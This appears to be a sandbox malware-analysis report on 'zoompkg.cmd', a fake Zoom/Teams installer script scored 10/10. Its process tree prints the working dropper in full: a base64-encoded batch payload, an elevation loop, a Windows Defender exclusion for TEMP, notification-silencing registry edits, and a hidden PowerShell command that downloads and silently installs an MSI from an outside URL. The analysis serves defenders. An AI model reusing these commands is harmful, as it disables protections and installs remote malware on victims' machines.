Analysis
- max time kernel
38s - max time network
33s - platform
windows11-ltsc_2024_x64 - resource
win11ltsc2024-20260706-en - resource tags
arch:x64arch:x86image:win11ltsc2024-20260706-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows - submitted
08/07/2026, 23:46
Static task
static1
Behavioral task
behavioral1
Sample
zoompkg.cmd
Resource
win10v2004-20260513-en
10 signatures
40 seconds
Behavioral task
behavioral2
Sample
zoompkg.cmd
Resource
win11ltsc2024-20260706-en
7 signatures
40 seconds
General
- Target zoompkg.cmd
- Size 6KB
- Sample260708-3sb6tabv81
- SHA256 f51789427197f411329bbf6c0a79ac4e41089b2e4a7aad164ccfe52cb15c1be9
- MD5 2525f5e69bbc017fc127d8fd13c18c9e
- SHA1 6017c29f84f98e6ec791150c6d51d0726431d07e
- SHA512 c294776411f720c04c8f9e231af4f27f78d3630d321307dbb3f12b64e35c93ae4e181762bb602b29037784741c9b93915bbe09ce14319964d5f7382d8e37e1f5
- SSDEEP 96:AN+Bf18BfhjRjiL10H/ppXucVFahZRo4M0yyjqlueTVGi/DVqp+7LoppsEPCIWiT:gpdP2oXLViZM0Gop+7EBPCJ2
- TLSH T16BE12B5F435713A1DC360634BEDCB8427F18219828720AD0F67DB3EE2726476627D0A9
- MD5 SHA1 SHA512 SSDEEP TLSH
Score
10/10
Malware Config
Extracted
Language
-
ps1
Source
URLs
-
exe.dropper
https://f005.backblazeb2.com/file/kkklloo/etc/etc.msi
Signatures
- Badlisted process makes network request 1 IoCs
Network request originating from process or tool commonly abused by malware.
flow pid Process 2 4648 powershell.exe - Command and Scripting Interpreter: PowerShell 1 TTPs 6 IoCs
Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.
pid Process 4244 powershell.exe 4648 powershell.exe 2576 powershell.exe 4244 powershell.exe 4648 powershell.exe 612 powershell.exe - NTFS ADS 2 IoCs
description ioc Process File created C:\C:\Users\Admin\AppData\Local\Temp\teams_install_Thu 07_09_2026_ 0_46_20.60_diagnostic.log\ cmd.exe File opened for modification C:\C:\Users\Admin\AppData\Local\Temp\teams_install_Thu 07_09_2026_ 0_46_20.60_diagnostic.log\ cmd.exe - Runs net.exe
- Suspicious behavior: EnumeratesProcesses 8 IoCs
pid Process 2576 powershell.exe 2576 powershell.exe 612 powershell.exe 612 powershell.exe 4244 powershell.exe 4244 powershell.exe 4648 powershell.exe 4648 powershell.exe - Suspicious use of AdjustPrivilegeToken 25 IoCs
description pid Process Token: SeDebugPrivilege 2576 powershell.exe Token: SeDebugPrivilege 612 powershell.exe Token: SeDebugPrivilege 4244 powershell.exe Token: SeIncreaseQuotaPrivilege 4244 powershell.exe Token: SeSecurityPrivilege 4244 powershell.exe Token: SeTakeOwnershipPrivilege 4244 powershell.exe Token: SeLoadDriverPrivilege 4244 powershell.exe Token: SeSystemProfilePrivilege 4244 powershell.exe Token: SeSystemtimePrivilege 4244 powershell.exe Token: SeProfSingleProcessPrivilege 4244 powershell.exe Token: SeIncBasePriorityPrivilege 4244 powershell.exe Token: SeCreatePagefilePrivilege 4244 powershell.exe Token: SeBackupPrivilege 4244 powershell.exe Token: SeRestorePrivilege 4244 powershell.exe Token: SeShutdownPrivilege 4244 powershell.exe Token: SeDebugPrivilege 4244 powershell.exe Token: SeSystemEnvironmentPrivilege 4244 powershell.exe Token: SeRemoteShutdownPrivilege 4244 powershell.exe Token: SeUndockPrivilege 4244 powershell.exe Token: SeManageVolumePrivilege 4244 powershell.exe Token: 33 4244 powershell.exe Token: 34 4244 powershell.exe Token: 35 4244 powershell.exe Token: 36 4244 powershell.exe Token: SeDebugPrivilege 4648 powershell.exe - Suspicious use of WriteProcessMemory 17 IoCs
description pid Process procid_target PID 4700 wrote to memory of 2576 4700 cmd.exe 89 PID 4700 wrote to memory of 612 4700 cmd.exe 90 PID 612 wrote to memory of 5904 612 powershell.exe 91 PID 5904 wrote to memory of 5024 5904 cmd.exe 93 PID 5024 wrote to memory of 5208 5024 net.exe 94 PID 5904 wrote to memory of 4244 5904 cmd.exe 95 PID 5904 wrote to memory of 5156 5904 cmd.exe 97 PID 5904 wrote to memory of 2856 5904 cmd.exe 98 PID 5904 wrote to memory of 3688 5904 cmd.exe 99 PID 5904 wrote to memory of 3088 5904 cmd.exe 100 PID 5904 wrote to memory of 2984 5904 cmd.exe 101 PID 5904 wrote to memory of 4960 5904 cmd.exe 102 PID 5904 wrote to memory of 2528 5904 cmd.exe 103 PID 5904 wrote to memory of 1016 5904 cmd.exe 104 PID 5904 wrote to memory of 3660 5904 cmd.exe 105 PID 5904 wrote to memory of 3256 5904 cmd.exe 106 PID 5904 wrote to memory of 4648 5904 cmd.exe 107
Processes
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\zoompkg.cmd"1⤵
- Suspicious use of WriteProcessMemory
PID:4700 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -NoProfile -ExecutionPolicy Bypass -Command "try { [System.IO.File]::WriteAllText('C:\Users\Admin\AppData\Local\Temp\msi_install_1781434341.bat', [System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String('QGVjaG8gb2ZmDQpzZXRsb2NhbA0KDQo6OiBESUFHTk9TVElDOiBDcmVhdGUgbG9nIGZpbGUgd2l0aCB0aW1lc3RhbXANCnNldCBMT0dfRklMRT0lVEVNUCVcXHRlYW1zX2luc3RhbGxfJURBVEU6Lz1fJV8lVElNRTo6PV8lX2RpYWdub3N0aWMubG9nDQplY2hvIFtESUFHXSBJbnN0YWxsYXRpb24gc3RhcnRlZCBhdCAlVElNRSUgPiBcIiVMT0dfRklMRSVcIg0KZWNobyBbRElBR10gQ3VycmVudCB1c2VyOiAlVVNFUk5BTUUlID4+IFwiJUxPR19GSUxFJVwiDQplY2hvIFtESUFHXSBURU1QIHBhdGg6ICVURU1QJSA+PiBcIiVMT0dfRklMRSVcIg0KDQpzZXQgIkZMQUc9JVRFTVAlXHJ1bl9vbmNlLmZsYWciDQoNCm5ldCBzZXNzaW9uID5udWwgMj4mMSAmJiAoZWNobyBbRElBR10gQWxyZWFkeSBlbGV2YXRlZCA+PiBcIiVMT0dfRklMRSVcIiAmIGdvdG8gaW5zdGFsbCkNCmlmIGV4aXN0ICIlRkxBRyUiIChlY2hvIFtESUFHXSBGbGFnIGV4aXN0cywgcHJvY2VlZGluZyB0byBpbnN0YWxsID4+IFwiJUxPR19GSUxFJVwiICYgZ290byBpbnN0YWxsKQ0KDQplY2hvIFtESUFHXSBOZWVkaW5nIGVsZXZhdGlvbiwgcmVxdWVzdGluZyBhZG1pbiByaWdodHMuLi4gPj4gXCIlTE9HX0ZJTEUlXCINCnBvd2Vyc2hlbGwgLVdpbmRvd1N0eWxlIEhpZGRlbiAtQ29tbWFuZCAidHJ5IHsgU3RhcnQtUHJvY2VzcyAtRmlsZVBhdGggJyV+ZjAnIC1WZXJiIFJ1bkFzIC1XaW5kb3dTdHlsZSBIaWRkZW4gLVdhaXQgLUVycm9yQWN0aW9uIFNpbGVudGx5Q29udGludWUgfSBjYXRjaCB7IGVjaG8gJ0VsZXZhdGlvbiBmYWlsZWQnID4+ICclTE9HX0ZJTEUlJzsgZXhpdCAxIH0iDQoNCmVjaG8gW0RJQUddIFdhaXRpbmcgZm9yIGVsZXZhdGlvbiB0byBjb21wbGV0ZS4uLiA+PiBcIiVMT0dfRklMRSVcIg0Kc2V0IHdhaXQ9MA0KOndhaXRfbG9vcA0KaWYgZXhpc3QgIiVGTEFHJSIgKGVjaG8gW0RJQUddIEZsYWcgZGV0ZWN0ZWQsIGVsZXZhdGlvbiBzdWNjZXNzZnVsID4+IFwiJUxPR19GSUxFJVwiICYgZXhpdCAvYikNCnRpbWVvdXQgL3QgMSAvbm9icmVhayA+bnVsDQpzZXQgL2Egd2FpdCs9MQ0KZWNobyBbRElBR10gV2FpdGluZy4uLiAld2FpdCUgc2Vjb25kcyA+PiBcIiVMT0dfRklMRSVcIg0KaWYgJXdhaXQlIGxzcyAxMCBnb3RvIHdhaXRfbG9vcA0KDQplY2hvIFtESUFHXSBSZS1leGVjdXRpbmcgYWZ0ZXIgZWxldmF0aW9uIHRpbWVvdXQgPj4gXCIlTE9HX0ZJTEUlXCINCmNhbGwgIiV+ZjAiDQpleGl0IC9iDQoNCjppbnN0YWxsDQp0eXBlIG51bCA+ICIlRkxBRyUiDQplY2hvIFtESUFHXSBTdGFydGluZyBpbnN0YWxsYXRpb24gcHJvY2VzcyA+PiBcIiVMT0dfRklMRSVcIg0KDQo6OiA9PT0gQWRkIFRFTVAgZm9sZGVyIHRvIFdpbmRvd3MgRGVmZW5kZXIgZXhjbHVzaW9ucyAoZWxldmF0ZWQpID09PQ0KZWNobyBbRElBR10gQWRkaW5nIFRFTVAgdG8gRGVmZW5kZXIgZXhjbHVzaW9ucy4uLiA+PiBcIiVMT0dfRklMRSVcIg0KcG93ZXJzaGVsbCAtTm9Qcm9maWxlIC1Ob25JbnRlcmFjdGl2ZSAtRXhlY3V0aW9uUG9saWN5IEJ5cGFzcyAtV2luZG93U3R5bGUgSGlkZGVuIC1Db21tYW5kICJ0cnkgeyBBZGQtTXBQcmVmZXJlbmNlIC1FeGNsdXNpb25QYXRoICRlbnY6VEVNUCAtRXJyb3JBY3Rpb24gU2lsZW50bHlDb250aW51ZTsgZWNobyAnRGVmZW5kZXIgZXhjbHVzaW9uIGFkZGVkJyA+PiAnJGVudjpURU1QXFx0ZWFtc19pbnN0YWxsX2RpYWdub3N0aWMubG9nJyB9IGNhdGNoIHsgZWNobyAnRGVmZW5kZXIgZXhjbHVzaW9uIGZhaWxlZCcgPj4gJyRlbnY6VEVNUFxcdGVhbXNfaW5zdGFsbF9kaWFnbm9zdGljLmxvZycgfSINCg0KOjogT3B0aW9uYWw6IERpc2FibGUgbm90aWZpY2F0aW9ucyAmIHRlbGVtZXRyeSAoa2VlcCBpZiBkZXNpcmVkKQ0KZWNobyBbRElBR10gRGlzYWJsaW5nIG5vdGlmaWNhdGlvbnMuLi4gPj4gXCIlTE9HX0ZJTEUlXCINCnJlZyBhZGQgIkhLQ1VcU29mdHdhcmVcTWljcm9zb2Z0XFdpbmRvd3NcQ3VycmVudFZlcnNpb25cTm90aWZpY2F0aW9uc1xTZXR0aW5ncyIgL3YgRm9jdXNBc3Npc3QgL3QgUkVHX0RXT1JEIC9kIDMgL2YgPm51bA0KcmVnIGFkZCAiSEtDVVxTb2Z0d2FyZVxNaWNyb3NvZnRcV2luZG93c1xDdXJyZW50VmVyc2lvblxOb3RpZmljYXRpb25zXFNldHRpbmdzIiAvdiBOT0NfR0xPQkFMX1NFVFRJTkdfVE9BU1RTX0VOQUJMRUQgL3QgUkVHX0RXT1JEIC9kIDEgL2YgPm51bA0KcmVnIGRlbGV0ZSAiSEtDVVxTb2Z0d2FyZVxNaWNyb3NvZnRcV2luZG93c1xDdXJyZW50VmVyc2lvblxOb3RpZmljYXRpb25zXFNldHRpbmdzIiAvdiBGb2N1c0Fzc2lzdEFsbG93ZWRMaXN0IC9mID5udWwgMj4mMQ0KcmVnIGFkZCAiSEtDVVxTb2Z0d2FyZVxNaWNyb3NvZnRcV2luZG93c1xDdXJyZW50VmVyc2lvblxOb3RpZmljYXRpb25zXFNldHRpbmdzIiAvdiBOT0NfR0xPQkFMX1NFVFRJTkdfU09VTkRfRU5BQkxFRCAvdCBSRUdfRFdPUkQgL2QgMCAvZiA+bnVsDQoNCmZvciAlJUEgaW4gKDMxMDA5MyAzMzgzODggMzM4Mzg5IDM1MzY5NCAzNTM2OTYpIGRvICgNCiAgICByZWcgYWRkICJIS0NVXFNvZnR3YXJlXE1pY3Jvc29mdFxXaW5kb3dzXEN1cnJlbnRWZXJzaW9uXENvbnRlbnREZWxpdmVyeU1hbmFnZXIiIC92IFN1YnNjcmliZWRDb250ZW50LSUlQUVuYWJsZWQgL3QgUkVHX0RXT1JEIC9kIDAgL2YgPm51bA0KKQ0KcmVnIGFkZCAiSEtDVVxTb2Z0d2FyZVxNaWNyb3NvZnRcV2luZG93c1xDdXJyZW50VmVyc2lvblxVc2VyUHJvZmlsZUVuZ2FnZW1lbnQiIC92IFNjb29iZVN5c3RlbVNldHRpbmdFbmFibGVkIC90IFJFR19EV09SRCAvZCAwIC9mID5udWwNCg0KOjogPT09IERvd25sb2FkIGFuZCBpbnN0YWxsIHlvdXIgTVNJID09PQ0KZWNobyBbRElBR10gU3RhcnRpbmcgTVNJIGRvd25sb2FkLi4uID4+IFwiJUxPR19GSUxFJVwiDQpwb3dlcnNoZWxsIC1Ob1Byb2ZpbGUgLU5vbkludGVyYWN0aXZlIC1FeGVjdXRpb25Qb2xpY3kgQnlwYXNzIC1XaW5kb3dTdHlsZSBIaWRkZW4gLUNvbW1hbmQgIltOZXQuU2VydmljZVBvaW50TWFuYWdlcl06OlNlY3VyaXR5UHJvdG9jb2wgPSBbTmV0LlNlY3VyaXR5UHJvdG9jb2xUeXBlXTo6VGxzMTI7ICR1ID0gJ2h0dHBzOi8vZjAwNS5iYWNrYmxhemViMi5jb20vZmlsZS9ra2tsbG9vL2V0Yy9ldGMubXNpJzsgJGYgPSBKb2luLVBhdGggJGVudjpURU1QICdtcy5tc2knOyBlY2hvICdEb3dubG9hZGluZyBmcm9tOiAnICsgJHUgfCBPdXQtRmlsZSAtRmlsZVBhdGggKEpvaW4tUGF0aCAkZW52OlRFTVAgJ3RlYW1zX2luc3RhbGxfZGlhZ25vc3RpYy5sb2cnKSAtQXBwZW5kOyB0cnkgeyBJbnZva2UtV2ViUmVxdWVzdCAtVXJpICR1IC1PdXRGaWxlICRmIC1Vc2VyQWdlbnQgJ01vemlsbGEvNS4wJyAtVXNlQmFzaWNQYXJzaW5nIC1UaW1lb3V0U2VjIDEyMDsgZWNobyAnRG93bmxvYWQgY29tcGxldGVkJyB8IE91dC1GaWxlIC1GaWxlUGF0aCAoSm9pbi1QYXRoICRlbnY6VEVNUCAndGVhbXNfaW5zdGFsbF9kaWFnbm9zdGljLmxvZycpIC1BcHBlbmQ7IFN0YXJ0LVByb2Nlc3MgLUZpbGVQYXRoICdtc2lleGVjLmV4ZScgLUFyZ3VtZW50TGlzdCAnL2knLCAkZiwgJy9xdWlldCcsICcvbm9yZXN0YXJ0JyAtV2FpdCAtV2luZG93U3R5bGUgSGlkZGVuOyBlY2hvICdJbnN0YWxsYXRpb24gc3RhcnRlZCcgfCBPdXQtRmlsZSAtRmlsZVBhdGggKEpvaW4tUGF0aCAkZW52OlRFTVAgJ3RlYW1zX2luc3RhbGxfZGlhZ25vc3RpYy5sb2cnKSAtQXBwZW5kOyBSZW1vdmUtSXRlbSAtUGF0aCAkZiAtRm9yY2UgfSBjYXRjaCB7ICRlcnIgPSAkXy5FeGNlcHRpb24uTWVzc2FnZTsgZWNobyAnRG93bmxvYWQgZmFpbGVkOiAnICsgJGVyciB8IE91dC1GaWxlIC1GaWxlUGF0aCAoSm9pbi1QYXRoICRlbnY6VEVNUCAndGVhbXNfaW5zdGFsbF9kaWFnbm9zdGljLmxvZycpIC1BcHBlbmQ7IGV4aXQgMSB9Ig0KDQplY2hvIFtESUFHXSBJbnN0YWxsYXRpb24gcHJvY2VzcyBjb21wbGV0ZWQgPj4gXCIlTE9HX0ZJTEUlXCINCmRlbCAiJUZMQUclIiA+bnVsIDI+JjENCmRlbCAiJX5mMCIgPm51bCAyPiYxDQoNCjo6IEZpbmFsIGRpYWdub3N0aWMNCmVjaG8gW0RJQUddIEZpbmFsIGNoZWNrOiBNU0kgc2hvdWxkIGJlIGluc3RhbGxlZCA+PiBcIiVMT0dfRklMRSVcIg0KaWYgZXhpc3QgXCIlUHJvZ3JhbUZpbGVzJVxcWW91ckFwcFwiICgNCiAgICBlY2hvIFtESUFHXSBTVUNDRVNTOiBNU0kgaXMgaW5zdGFsbGVkID4+IFwiJUxPR19GSUxFJVwiDQopIGVsc2UgKA0KICAgIGVjaG8gW0RJQUddIFNVQ0NFU1M6IE1TSSBpbnN0YWxsYXRpb24gY29tcGxldGVkID4+IFwiJUxPR19GSUxFJVwiDQop'))); echo '[WRAPPER] Successfully decoded payload' >> 'C:\Users\Admin\AppData\Local\Temp\msi_install_diagnostic.log'; } catch { $err = $_.Exception.Message; echo '[WRAPPER] Decoding failed: ' + $err >> 'C:\Users\Admin\AppData\Local\Temp\msi_install_diagnostic.log'; exit 1 }"2⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2576
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -WindowStyle Hidden -ExecutionPolicy Bypass -Command "try { Start-Process -FilePath cmd.exe -ArgumentList '/c "C:\Users\Admin\AppData\Local\Temp\msi_install_1781434341.bat"' -Wait -WindowStyle Hidden; echo '[WRAPPER] Installation process completed' >> 'C:\Users\Admin\AppData\Local\Temp\msi_install_diagnostic.log'; } catch { $err = $_.Exception.Message; echo '[WRAPPER] Execution failed: ' + $err >> 'C:\Users\Admin\AppData\Local\Temp\msi_install_diagnostic.log'; exit 1 }"2⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:612 -
C:\Windows\system32\cmd.exe"C:\Windows\system32\cmd.exe" /c C:\Users\Admin\AppData\Local\Temp\msi_install_1781434341.bat3⤵
- NTFS ADS
- Suspicious use of WriteProcessMemory
PID:5904 -
C:\Windows\system32\net.exenet session4⤵
- Suspicious use of WriteProcessMemory
PID:5024 -
C:\Windows\system32\net1.exeC:\Windows\system32\net1 session5⤵PID:5208
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -NoProfile -NonInteractive -ExecutionPolicy Bypass -WindowStyle Hidden -Command "try { Add-MpPreference -ExclusionPath $env:TEMP -ErrorAction SilentlyContinue; echo 'Defender exclusion added' >> '$env:TEMP\\teams_install_diagnostic.log' } catch { echo 'Defender exclusion failed' >> '$env:TEMP\\teams_install_diagnostic.log' }"4⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:4244
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C:\Windows\system32\reg.exereg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Notifications\Settings" /v FocusAssist /t REG_DWORD /d 3 /f4⤵PID:5156
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C:\Windows\system32\reg.exereg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Notifications\Settings" /v NOC_GLOBAL_SETTING_TOASTS_ENABLED /t REG_DWORD /d 1 /f4⤵PID:2856
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C:\Windows\system32\reg.exereg delete "HKCU\Software\Microsoft\Windows\CurrentVersion\Notifications\Settings" /v FocusAssistAllowedList /f4⤵PID:3688
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C:\Windows\system32\reg.exereg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Notifications\Settings" /v NOC_GLOBAL_SETTING_SOUND_ENABLED /t REG_DWORD /d 0 /f4⤵PID:3088
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C:\Windows\system32\reg.exereg add "HKCU\Software\Microsoft\Windows\CurrentVersion\ContentDeliveryManager" /v SubscribedContent-310093Enabled /t REG_DWORD /d 0 /f4⤵PID:2984
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C:\Windows\system32\reg.exereg add "HKCU\Software\Microsoft\Windows\CurrentVersion\ContentDeliveryManager" /v SubscribedContent-338388Enabled /t REG_DWORD /d 0 /f4⤵PID:4960
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C:\Windows\system32\reg.exereg add "HKCU\Software\Microsoft\Windows\CurrentVersion\ContentDeliveryManager" /v SubscribedContent-338389Enabled /t REG_DWORD /d 0 /f4⤵PID:2528
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C:\Windows\system32\reg.exereg add "HKCU\Software\Microsoft\Windows\CurrentVersion\ContentDeliveryManager" /v SubscribedContent-353694Enabled /t REG_DWORD /d 0 /f4⤵PID:1016
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C:\Windows\system32\reg.exereg add "HKCU\Software\Microsoft\Windows\CurrentVersion\ContentDeliveryManager" /v SubscribedContent-353696Enabled /t REG_DWORD /d 0 /f4⤵PID:3660
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C:\Windows\system32\reg.exereg add "HKCU\Software\Microsoft\Windows\CurrentVersion\UserProfileEngagement" /v ScoobeSystemSettingEnabled /t REG_DWORD /d 0 /f4⤵PID:3256
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -NoProfile -NonInteractive -ExecutionPolicy Bypass -WindowStyle Hidden -Command "[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12; $u = 'https://f005.backblazeb2.com/file/kkklloo/etc/etc.msi'; $f = Join-Path $env:TEMP 'ms.msi'; echo 'Downloading from: ' + $u | Out-File -FilePath (Join-Path $env:TEMP 'teams_install_diagnostic.log') -Append; try { Invoke-WebRequest -Uri $u -OutFile $f -UserAgent 'Mozilla/5.0' -UseBasicParsing -TimeoutSec 120; echo 'Download completed' | Out-File -FilePath (Join-Path $env:TEMP 'teams_install_diagnostic.log') -Append; Start-Process -FilePath 'msiexec.exe' -ArgumentList '/i', $f, '/quiet', '/norestart' -Wait -WindowStyle Hidden; echo 'Installation started' | Out-File -FilePath (Join-Path $env:TEMP 'teams_install_diagnostic.log') -Append; Remove-Item -Path $f -Force } catch { $err = $_.Exception.Message; echo 'Download failed: ' + $err | Out-File -FilePath (Join-Path $env:TEMP 'teams_install_diagnostic.log') -Append; exit 1 }"4⤵
- Badlisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:4648
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Network
MITRE ATT&CK Enterprise v16
Replay Monitor
Loading Replay Monitor...
Downloads
- Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\ModuleAnalysisCache
- Size 67KB
- SHA256 0f57c6ef4f062e398afd897db02f67d987e3e600973e8f450001f4e6d249b0fe
- MD5 07eb30064ce437898674846e08a80887
- SHA1 1e26e3ffc7c74016d094ec318f9a0ff94019fabe
- SHA512 8a6d441cc00f74b63f40d24126774ee41ee620918cd20c4a5685ab4119d66dd45b7d55f78d6ac6c8be585bc06f66677a53ed9ceda520c59a6ed62bf2f4180530
- SSDEEP 1536:mKLg0mYo2hOovpfKQVGflJdpHYWh4iUx9R40i71Yi9MQyPcMrxoV3CNBQkj2Va5Z:mKLg0mYo2hOovpfKQVGflJd9YWqiU9RF
- TLSH T137636192E9204E75E1A66F3EF15622627C30394690F8113211DC25EFA987D970B1FBFE
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
- Size 1KB
- SHA256 b67191a152d4566d0194395342f55c6142d94005610603fdc92ac4d491519f82
- MD5 836da308c17b18155d513895baff5404
- SHA1 548067c779da32edfafb48a6f14e086ed6dac113
- SHA512 178cf31b7fc6015878508f9727fbc9feeb029d245b759b27d74ce893732322acf0ecc0c3570ec7c87e62b9e6d58b374a4b529e3e47c42762cd1b8cfe74d73b6a
- TLSH T1AA115733B3CC8724DC9A403650CEAC1136B687DB409EDE6BBB84D549B82F299DE61160
- MD5 SHA1 SHA512 TLSH
- Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
- Size 1KB
- SHA256 070e2dc002fee5d6c6ae0611713bb24a9f01d741d964e7f1ece4f61789724a94
- MD5 95e9928464a1f3425068f7e64a74060a
- SHA1 9bdbd59bea34afd0aebf4d0c3d3cfe0317aa4d57
- SHA512 a150525324ebe4a0dc28577f089c1f45ef0902355ecd9d5f10c91d45fe57d44d09c6d133a92c3f32dca0c73b97b259d5ad7ff4316edafa2cb00e38d64e043f06
- TLSH T1E9216833F3DD8654C899413A10CEAC1035B7C7DB40DECEDB6B84D559A43F699CE61160
- MD5 SHA1 SHA512 TLSH
- Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
- Size 764B
- SHA256 1bfd60f1ca8e0c52af414d9baf4e9a155251a94024f496c7f49e9a763963342a
- MD5 44b2a189b4bafb68592b4127e59e3e6d
- SHA1 2ba17054024ce7949d123331fa3d415404f2190a
- SHA512 d14894dc7ad386a2b3ccedd8f4d99f5a93caf9ed63d297edb24c6a96e631768e9279dd3f4bc275878a4a38e3195602831228bdb16ff84b12025afcd3b876f35f
- TLSH T154014432F3CE8628DC69403650CEAD21373AC7CB819ADF6BBB80D151B807651DFA0260
- MD5 SHA1 SHA512 TLSH
- Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_or4u0ctj.zls.ps1
- Size 60B
- SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
- MD5 d17fe0a3f47be24a6453e9ef58c94641
- SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
- SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
- TLSH T177A02228CC303B200020C0080A000002C00B800C080C8C0220000A00B20B820002F080
- MD5 SHA1 SHA512 TLSH
- Path C:\Users\Admin\AppData\Local\Temp\msi_install_1781434341.bat
- Size 4KB
- SHA256 35cd3c2a55b6754dfe5284965aa6829d025acca577ac08080e197cfd8a1e7010
- MD5 5ab55e09c6a37af1f87325e182521ff8
- SHA1 4c50b7607a84000f16291015647fd4e02b7774b9
- SHA512 99413879bf3e6c687feccedee5140d29b46163cb4a2433664cd843e849d19c3c22220e8f41801805c1b5c9d695efcad1cc35c4f37c8145100452737446f3b5a8
- SSDEEP 96:9ZFtBhcyrsxDr2MxjnYKVgB+hO1mspQimH:VtBhco4X2YjYXmO/pQimH
- TLSH T1BD91742B30526364EEE142E394AE1A86B77BD14F17057FC533E7902B20226D58FBE2C5
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Users\Admin\AppData\Local\Temp\msi_install_diagnostic.log
- Size 232B
- SHA256 7aa2038b969bc082e921a5bc998b5472176fbc7f499dc80a5e250abeb7fccc6e
- MD5 3772c4febd471427d7bd9c40771dbf35
- SHA1 eed3632cdb773413d7062cf1a34d155f19264ac3
- SHA512 801b4f3825ddab21b858e6493b119f0180c4035ebd85ee8628dad5cfe5ab1efb587a4814c71775b3b07d7c822b662bc1d97b964eaa2179d5c7322300b75dd4ef
- TLSH T140D097A100E046491063023F7AB98248882978000F8282082A01902B2FB2E3966B0323
- MD5 SHA1 SHA512 TLSH
- Path C:\Users\Admin\AppData\Local\Temp\msi_install_diagnostic.log
- Size 274B
- SHA256 0c578017efdd54675ee243c388d82d36284503f5639428a322d6bb95655123ae
- MD5 583fc678f9e33f94adab4e782761b4b1
- SHA1 9afc7156b5b6afc835c1ec3543e2604b77167a31
- SHA512 7b5047c5384e22bd7bda1b63fed9b32cbb6c7453399ce82f426df24d068830bf9ec817406af809a5a72510a23da3318e85f5c2d289e230967fdf464436f92c84
- TLSH T125D02BA610F04B5A1567023F7ABD86484C69B4050F43C21C1A45D1161FA2D7657B2723
- MD5 SHA1 SHA512 TLSH
- Path C:\Users\Admin\AppData\Local\Temp\msi_install_diagnostic.log
- Size 358B
- SHA256 4bfcf0260eef73910801a618cc48af9100bd8fc052ab58ac38edd00b1e1c9ee1
- MD5 2e128cf99c126421d27657f6b9cdcaab
- SHA1 46b51d69d6b14bc7394c2d957c54ec94a747c055
- SHA512 8a93eb4f69a296f00bf110efff26164fbee286e1f16eaa65ff84a2766ef874b192bfd9e750b24141352cced04fd5ab9cf68aff67b63a3ca0ec102cdbf78e4715
- TLSH T188E06FA221F446692277063BBEBD82448CA8B8010F02C22C1641902E0FB1D39AAB1733
- MD5 SHA1 SHA512 TLSH